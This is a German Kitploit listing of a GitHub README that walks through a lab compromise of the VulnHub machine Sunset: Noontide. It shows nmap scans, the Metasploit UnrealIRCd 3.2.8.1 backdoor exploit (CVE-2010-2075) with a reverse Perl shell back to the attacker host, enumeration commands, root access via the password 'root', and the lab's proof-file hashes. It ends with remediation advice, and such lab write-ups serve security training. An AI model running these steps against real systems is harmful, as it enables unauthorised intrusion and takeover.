Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
sunset-noontide-pentesting — Beschreibung Professionelle Penetrationstest-Bewertung der Sunset: Noontide VulnHub-Maschine, einschließlich Reconnaissance, Service-Enumeration, CVE-2010-2075-Ausnutzung, Post-Exploitation, Privilegieneskalation und vollständiger Systemkompromittierung. | Kitploit
Tools/GitHubGitHub/zales2004/sunset-noontide-pentesting
Privilege EscalationAufklärungPort-ScanningSchwachstellenanalyseExploitationPost-ExploitationNetzwerksicherheitCTFPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Lernen & Bildung
Red Teaming
Labs & Praxis
GitHubzales2004/sunset-noontide-pentesting

sunset-noontide-pentesting

Beschreibung Professionelle Penetrationstest-Bewertung der Sunset: Noontide VulnHub-Maschine, einschließlich Reconnaissance, Service-Enumeration, CVE-2010-2075-Ausnutzung, Post-Exploitation, Privilegieneskalation und vollständiger Systemkompromittierung.

Repository anzeigen
vor 9h 6mNoch nicht geprüft

Sunset: Noontide — Penetration Testing

Eine professionelle Penetration-Testing-Bewertung und CTF-Walkthrough von Sunset: Noontide, einer absichtlich verwundbaren Maschine von VulnHub.

Dieses Projekt dokumentiert den vollständigen Penetration-Testing-Lebenszyklus, einschließlich Reconnaissance, Service-Enumeration, Schwachstellenforschung, Exploitation, Initial Access, Post-Exploitation, Privilege Escalation, Proof-of-Compromise, Risikobewertung, MITRE ATT&CK-Mapping und Remediation.

⚠️ Haftungsausschluss: Diese Bewertung wurde gegen eine absichtlich verwundbare Maschine in einer autorisierten Laborumgebung durchgeführt. Die hier dokumentierten Techniken und Befehle sind ausschließlich für Systeme bestimmt, für die eine ausdrückliche Autorisierung eingeholt wurde.


🎯 Ziele

  • Identifizierung des Zielhosts
  • Enumeration exponierter Dienste
  • Identifizierung verwundbarer Software und Versionen
  • Recherche anwendbarer Schwachstellen
  • Ausnutzung des verwundbaren Dienstes
  • Erlangung eines initialen Shell-Zugriffs
  • Durchführung der Linux-Post-Exploitation-Enumeration
  • Identifizierung von Privilege-Escalation-Möglichkeiten
  • Erlangung von Root-Zugriff
  • Wiederherstellung der User- und Root-Proof-Dateien
  • Dokumentation der Sicherheitserkenntnisse
  • Bereitstellung von Remediation-Empfehlungen

🖥️ Laborumgebung

KomponenteDetails
ZielSunset: Noontide
PlattformVulnHub
Ziel-IP10.106.186.186
Ziel-Hostnamenoontide
Ziel-BetriebssystemDebian GNU/Linux 10 (Buster)
Architekturx86_64
Angreifer-PlattformKali Linux
Angreifer-IP10.106.186.204
BewertungsartAutorisierte Laborbewertung
GesamtrisikoKRITISCH
BewertungsergebnisVollständige Systemkompromittierung

🔐 Angriffskette

Zielerkennung → Nmap-Enumeration → UnrealIRCd 3.2.8.1 identifiziert → SearchSploit → CVE-2010-2075 identifiziert → Metasploit-Exploitation → Remote Command Shell → Shell als server → Linux-Post-Exploitation → Schwache Root-Anmeldedaten → su root → UID 0 / Root-Zugriff → User- & Root-Proof-Dateien


1. Reconnaissance

Eine initiale Netzwerkerkennung wurde durchgeführt, um das verwundbare Ziel zu identifizieren.

Das Ziel wurde letztendlich identifiziert als:

10.106.186.186

Während der Reconnaissance wurde 10.106.186.142 als Standard-Gateway und nicht als das beabsichtigte Ziel identifiziert.

Dies unterstreicht die Bedeutung der korrekten Identifizierung des Ziels vor der Durchführung weiterer Sicherheitstests, insbesondere in einem gebrückten oder gemeinsam genutzten Labornetzwerk.


2. Service-Enumeration

Eine Nmap-Service- und Versionserkennung wurde gegen das Ziel durchgeführt mit:

nmap -sV 10.106.186.186

Der bedeutende exponierte Dienst, der während der Bewertung identifiziert wurde, war:

6667/tcp open irc UnrealIRCd

Anschließend wurde ein detaillierterer Scan durchgeführt mit:

nmap -sC -sV -Pn -p 6667 10.106.186.186

Der Dienst wurde identifiziert als:

UnrealIRCd 3.2.8.1

Der IRC-Dienst meldete außerdem:

irc.foonet.com

Der exponierte UnrealIRCd-Dienst wurde zur primären Angriffsfläche, die während der Bewertung untersucht wurde.


3. Schwachstellenforschung

SearchSploit wurde verwendet, um öffentlich dokumentierte Schwachstellen im Zusammenhang mit der entdeckten UnrealIRCd-Version zu untersuchen.

Befehl:

searchsploit UnrealIRCd 3.2.8.1

Das relevante Ergebnis war:

UnrealIRCd 3.2.8.1 - Backdoor Command Exec

linux/remote/16922.rb

Die Schwachstelle wurde identifiziert als:

CVE-2010-2075

Schwachstelle

UnrealIRCd 3.2.8.1 Backdoor Command Execution

Schweregrad

Kritisch

Angriffstyp

Remote Command Execution

Sicherheitsauswirkung

Eine erfolgreiche Ausnutzung des verwundbaren Dienstes ermöglicht es einem Angreifer, Befehle remote auf dem Zielsystem auszuführen.


4. Metasploit-Exploitation

Der verwundbare IRC-Dienst wurde mit dem Metasploit Framework ausgenutzt.

Das ausgewählte Modul war:

exploit/unix/irc/unreal_ircd_3281_backdoor

Beispielkonfiguration:

use exploit/unix/irc/unreal_ircd_3281_backdoor

set RHOST 10.106.186.186

Erste Payload-Versuche führten zu keiner nutzbaren Session.

Anschließend wurde eine kompatible Unix-Reverse-Perl-Payload ausgewählt:

set payload cmd/unix/reverse_perl

set LHOST 10.106.186.204

set LPORT 4444

run

Metasploit meldete, dass das Ziel verwundbar erschien, und öffnete erfolgreich eine Command-Shell-Session.


5. Initial Access

Die erhaltene Shell wurde verifiziert mit:

whoami

Ergebnis:

server

Dies bestätigte eine erfolgreiche Remote-Befehlsausführung als das Konto server.

Das initiale Arbeitsverzeichnis war:

/home/server/irc/Unreal3.2

Zu diesem Zeitpunkt ging die Bewertung von der Remote-Service-Exploitation zur lokalen Post-Exploitation-Enumeration über.


6. Post-Exploitation-Enumeration

Nach Erlangung der Shell wurde eine standardmäßige Linux-Enumeration durchgeführt, um den kompromittierten Host zu verstehen und potenzielle Privilege-Escalation-Pfade zu identifizieren.

Aktueller Benutzer

Befehl:

id

Ergebnis:

uid=1000(server) gid=1000(server)

Das Konto war ein Nicht-Root-Benutzer.

Hostname

Befehl:

hostname

Ergebnis:

noontide

Kernel-Informationen

Befehl:

uname -a

Ergebnis:

Linux noontide 4.19.0-10-amd64 x86_64

Betriebssystem

Befehl:

cat /etc/os-release

Ergebnis:

Debian GNU/Linux 10 (buster)

Diese Befehle ermittelten die aktuelle Identität, den Hostnamen, die Kernel-Version, das Betriebssystem und die allgemeine Systemkonfiguration.


7. Privilege-Escalation-Enumeration

Es wurden mehrere standardmäßige Linux-Privilege-Escalation-Prüfungen durchgeführt.

7.1 SUID-Enumeration

Befehl:

find / -perm -4000 -type f 2>/dev/null

Standard-SUID-Binärdateien wie passwd, chsh, mount, umount, su, chfn, newgrp und gpasswd wurden identifiziert.

Es wurde keine offensichtliche benutzerdefinierte oder anomale SUID-Binärdatei als erfolgreicher Eskalationsvektor identifiziert.


7.2 Sudo-Enumeration

Befehl:

sudo -l

Aus der verfügbaren Ausgabe wurde kein nützlicher sudo-basierter Privilege-Escalation-Pfad identifiziert.


7.3 Cron-Enumeration

Befehle:

cat /etc/crontab

ls -la /etc/cron.d/

ls -la /etc/cron.hourly/

ls -la /etc/cron.daily/

ls -la /etc/cron.weekly/

Die beobachteten geplanten Aufgaben waren standardmäßige Systemaufgaben im Debian-Stil.

Es wurde kein offensichtlich beschreibbarer Root-Cron-Job identifiziert.


7.4 Enumeration beschreibbarer Dateien

Befehl:

find / -writable -type f 2>/dev/null | head -100

Die ersten Ergebnisse waren hauptsächlich /proc-Pseudo-Dateien und offenbarten keinen praktischen Privilege-Escalation-Vektor.


7.5 Linux Capabilities

Befehl:

getcap -r / 2>/dev/null

Aus der resultierenden Ausgabe wurde keine nützliche capability-basierte Privilege-Escalation identifiziert.


8. Privilege Escalation

Der erfolgreiche Privilege-Escalation-Pfad basierte auf den absichtlich schwachen Root-Anmeldedaten, die auf der verwundbaren Maschine konfiguriert waren.

Auf das Root-Konto wurde zugegriffen mit:

su root

Passwort:

root

Der Root-Zugriff wurde anschließend verifiziert mit:

id

Ergebnis:

uid=0(root) gid=0(root) groups=0(root)

Die Identität wurde außerdem bestätigt mit:

whoami

Ergebnis:

root

Dies bestätigte die vollständige administrative Kontrolle über das Zielsystem.


9. Proof of Compromise

9.1 Nachweis auf Benutzerebene

Die Proof-Datei auf Benutzerebene befand sich unter:

/home/server/local.txt

Befehl:

cat /home/server/local.txt

Ergebnis:

c53c08b5bf2b0801c5d0c24149826a6e


9.2 Nachweis auf Root-Ebene

Die Proof-Datei auf Root-Ebene befand sich unter:

/root/proof.txt

Befehl:

cat /root/proof.txt

Ergebnis:

ab28c8ca8da1b9ffc2d702ac54221105

Der Root-Proof gab außerdem zurück:

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

Die Wiederherstellung beider Proof-Dateien bestätigt eine erfolgreiche Kompromittierung vom initialen Remote-Zugriff bis zur Kontrolle auf Root-Ebene.


10. Risikozusammenfassung

IDFeststellungSchweregradAuswirkung
VULN-01UnrealIRCd 3.2.8.1 Backdoor🔴 KritischRemote Command Execution
VULN-02Schwache Root-Anmeldedaten🔴 KritischVollständige administrative Kompromittierung

11. Detaillierte Feststellungen

VULN-01 — UnrealIRCd 3.2.8.1 Backdoor

Schweregrad: Kritisch

Betroffener Dienst: IRC / TCP 6667

Betroffene Software: UnrealIRCd 3.2.8.1

CVE: CVE-2010-2075

Angriffstyp: Remote Command Execution

Beobachtete Auswirkung: Remote-Shell als server erhalten

Beschreibung

Der exponierte UnrealIRCd-Dienst lief in einer verwundbaren Version, die mit einer bekannten Backdoor-Command-Execution-Schwachstelle verbunden ist.

Die Schwachstelle wurde durch Service-Enumeration und SearchSploit-Recherche identifiziert und erfolgreich mit Metasploit ausgenutzt.

Geschäftliche Auswirkung

Ein Angreifer, der den verwundbaren IRC-Dienst erreichen kann, könnte Befehle remote ausführen und unbefugten Zugriff auf den Host erlangen.


VULN-02 — Schwache Root-Anmeldedaten

Schweregrad: Kritisch

Betroffenes Konto: root

Beobachtete Anmeldedaten: root / root

Beobachtete Auswirkung: Administrativer Zugriff mit UID 0

Beschreibung

Das Root-Konto war mit extrem schwachen Anmeldedaten konfiguriert.

Nach Erlangung einer lokalen Shell als server wurde auf das Root-Konto unter Verwendung der schwachen Anmeldedaten zugegriffen und mit UID 0 verifiziert.

Geschäftliche Auswirkung

Ein Angreifer, der lokalen Shell-Zugriff erlangt, kann die schwachen Root-Anmeldedaten nutzen, um die vollständige Kontrolle über das Betriebssystem zu erlangen.


12. MITRE ATT&CK-Mapping


13. Remediation-Empfehlungen

13.1 UnrealIRCd entfernen oder aktualisieren

Ersetzen Sie die verwundbare UnrealIRCd-Installation durch eine vertrauenswürdige und unterstützte Version.

Überprüfen Sie die Softwareintegrität und die Paket-Herkunft vor der Bereitstellung.

13.2 Mit Backdoor versehene Software entfernen

Wenn die Softwareintegrität oder -herkunft unsicher ist, bauen Sie das System mit vertrauenswürdigen Installationsmedien und verifizierten Paketen neu auf.

13.3 Schwache Anmeldedaten beseitigen

Ersetzen Sie Standard- und schwache Anmeldedaten durch starke, eindeutige administrative Anmeldedaten.

Verwenden Sie keine einfachen Passwörter wie root.

13.4 IRC-Exposition einschränken

Wenn IRC erforderlich ist, beschränken Sie den Zugriff mit:

  • Firewall-Regeln
  • Netzwerksegmentierung
  • VPN-Zugriff
  • Quell-IP-Beschränkungen

13.5 Sicherheitsupdates anwenden

Pflegen Sie einen dokumentierten Patch-Management-Prozess für das Betriebssystem und alle exponierten Dienste.

13.6 Privilegierten Zugriff überwachen

Protokollieren und überprüfen Sie:

  • Administrative Authentifizierung
  • Root-Zugriff
  • Berechtigungsänderungen
  • Verdächtige Authentifizierungsaktivitäten

14. Penetration-Testing-Methodik


15. Verwendete Tools

  • Nmap — Netzwerkerkennung und Service-Enumeration
  • SearchSploit — Schwachstellen- und Exploit-Recherche
  • Metasploit Framework — Exploitation und Session-Etablierung
  • Linux-Kommandozeilen-Werkzeuge — Post-Exploitation und Berechtigungs-Enumeration

16. Demonstrierte Fähigkeiten

  • Netzwerk-Reconnaissance
  • Host-Discovery
  • Port-Scanning
  • Service-Enumeration
  • Versionsidentifizierung
  • Schwachstellenbewertung
  • CVE-Recherche
  • SearchSploit
  • Metasploit Framework
  • Remote Command Execution
  • Linux-Enumeration
  • SUID-Enumeration
  • Sudo-Enumeration
  • Cron-Enumeration
  • Enumeration beschreibbarer Dateien
  • Linux Capabilities
  • Bewertung der Anmeldedatensicherheit
  • Privilege Escalation
  • Proof-of-Compromise
  • MITRE ATT&CK-Mapping
  • Risikobewertung
  • Sicherheitsberichterstattung
  • Remediation-Analyse

17. Abschließende Bewertung

Der Host Sunset: Noontide wurde erfolgreich vom initialen Netzwerkzugriff bis zur vollständigen Kontrolle auf Root-Ebene kompromittiert.

Die primäre Initial-Access-Schwachstelle war die UnrealIRCd 3.2.8.1 Backdoor (CVE-2010-2075).

Die Schwachstelle ermöglichte Remote Command Execution und führte zu einer initialen Shell als das Konto server.

Anschließend wurde eine Post-Exploitation-Enumeration durchgeführt, einschließlich SUID-, sudo-, cron-, beschreibbare-Datei-, Linux-Capability-, Identitäts-, Betriebssystem- und Dateisystem-Prüfungen.

Diese Prüfungen identifizierten nicht den erfolgreichen Eskalationsweg.

Vollständiger administrativer Zugriff wurde letztendlich durch die schwachen Root-Anmeldedaten der Maschine erreicht.

Die erfolgreiche Wiederherstellung sowohl der Proof-Datei auf Benutzerebene als auch auf Root-Ebene bestätigte eine vollständige Systemkompromittierung.

Gesamtbewertung

KRITISCH — Vollständige Systemkompromittierung erreicht


18. Bewertungsergebnisse


19. Professioneller Penetration-Testing-Bericht

Ein detaillierter professioneller Penetration-Testing-Bericht ist diesem Projekt beigefügt:

Sunset-Noontide-Penetration-Testing-Report.pdf

Der Bericht enthält:

  • Executive Summary
  • Dokumentenkontrolle
  • Umfang und Rules of Engagement
  • Risikozusammenfassung
  • Angriffspfad
  • Reconnaissance
  • Service-Enumeration
  • Schwachstellenforschung
  • Metasploit-Exploitation
  • Initial Access
  • Post-Exploitation
  • Privilege Escalation
  • Beweise und Proof-Dateien
  • Detaillierte Feststellungen
  • MITRE ATT&CK-Mapping
  • Remediation-Empfehlungen
  • Abschließende Bewertung

20. Beweise

Vorgeschlagene Repository-Struktur:

sunset-noontide-pentesting/

├── README.md

├── Sunset-Noontide-Penetration-Testing-Report.pdf

└── evidence/

├── 01-target-discovery.png

├── 02-nmap-enumeration.png

├── 03-searchsploit.png

├── 04-metasploit-exploitation.png

├── 05-initial-shell.png

├── 06-post-exploitation.png

├── 07-privilege-escalation.png

└── 08-root-proof.png

Screenshots sollten ausschließlich Informationen aus der autorisierten Laborumgebung enthalten.


21. Erkenntnisse

Diese Bewertung lieferte praktische Erfahrung in:

  1. Der korrekten Identifizierung des beabsichtigten Ziels in einer Netzwerkumgebung.
  2. Der Durchführung von Service- und Versions-Enumeration mit Nmap.
  3. Der Recherche von Schwachstellen mit SearchSploit.
  4. Der Auswahl eines geeigneten Metasploit-Exploit-Moduls.
  5. Der Fehlerbehebung bei der Payload-Kompatibilität.
  6. Der Etablierung einer Remote Command Shell.
  7. Der Durchführung der Linux-Post-Exploitation-Enumeration.
  8. Der systematischen Prüfung gängiger Privilege-Escalation-Vektoren.
  9. Der Identifizierung schwacher administrativer Anmeldedaten.
  10. Der Verifizierung der Kompromittierung auf Root-Ebene.
  11. Der Sammlung von Proof-of-Compromise-Beweisen.
  12. Der Dokumentation von Schwachstellen in einem professionellen Penetration-Testing-Format.

22. ⚠️ Rechtlicher & ethischer Haftungsausschluss

Dieses Repository ist ausschließlich bestimmt für:

  • Cybersicherheitsbildung
  • Autorisierte Penetrationstests
  • CTF-Übungen
  • Schwachstellenforschung
  • Laborumgebungen

Die in diesem Repository dokumentierten Techniken dürfen nur gegen Systeme durchgeführt werden, für die eine ausdrückliche Autorisierung eingeholt wurde.

Verwenden Sie diese Techniken nicht ohne Genehmigung gegen Produktionssysteme, öffentliche Infrastruktur oder Systeme Dritter.


👨‍💻 Autor

Alen Sales K S

Cybersecurity | Penetration Testing | SOC | Network Security

GitHub: https://github.com/zales2004


⭐ Projektzusammenfassung

Sunset: Noontide demonstriert einen vollständigen Penetration-Testing-Workflow:

Reconnaissance → Enumeration → Schwachstellenforschung → Exploitation → Initial Access → Post-Exploitation → Privilege Escalation → Root-Zugriff → Beweissicherung → Risikobewertung → Sicherheitsberichterstattung

Bewertungsergebnis: KRITISCH — Vollständige Systemkompromittierung erreicht

Tool herunterladen
TechnikIDBeobachtete Aktivität
Network Service ScanningT1046Nmap-Enumeration
Exploit Public-Facing ApplicationT1190Ausnutzung des exponierten UnrealIRCd-Dienstes
Command and Scripting InterpreterT1059Remote Command Shell
Valid AccountsT1078Verwendung von Root-Anmeldedaten
Account DiscoveryT1087Identitäts- und Benutzer-Enumeration
System Information DiscoveryT1082uname und /etc/os-release
File and Directory DiscoveryT1083Dateisystem-Enumeration
Scheduled Task/Job DiscoveryT1053Cron-Enumeration
Permission Groups DiscoveryT1069id und Gruppen-Enumeration
PhaseAktivitäten
ReconnaissanceNetzwerkerkennung und Zielidentifizierung
EnumerationNmap-Service-/Versionserkennung
SchwachstellenforschungSearchSploit und Identifizierung von Metasploit-Modulen
ExploitationAusnutzung der UnrealIRCd-Backdoor
Initial AccessCommand Shell als server
Post-ExploitationIdentitäts-, OS-, Dateisystem- und Berechtigungs-Enumeration
Privilege EscalationSUID-, sudo-, cron-, beschreibbare-Datei- und Capability-Prüfungen
BeweissicherungUser- und Root-Proof-Dateien
BerichterstattungFeststellungen, Risikoanalyse und Remediation
ZielStatus
Ziel identifiziert✅ PASS
Exponierter Dienst identifiziert✅ PASS
Verwundbare Version identifiziert✅ PASS
CVE identifiziert✅ PASS
Remote Command Execution✅ PASS
Initiale Shell als server✅ PASS
User-Proof wiederhergestellt✅ PASS
Privilege Escalation✅ PASS
Root-Zugriff verifiziert✅ PASS
Root-Proof wiederhergestellt✅ PASS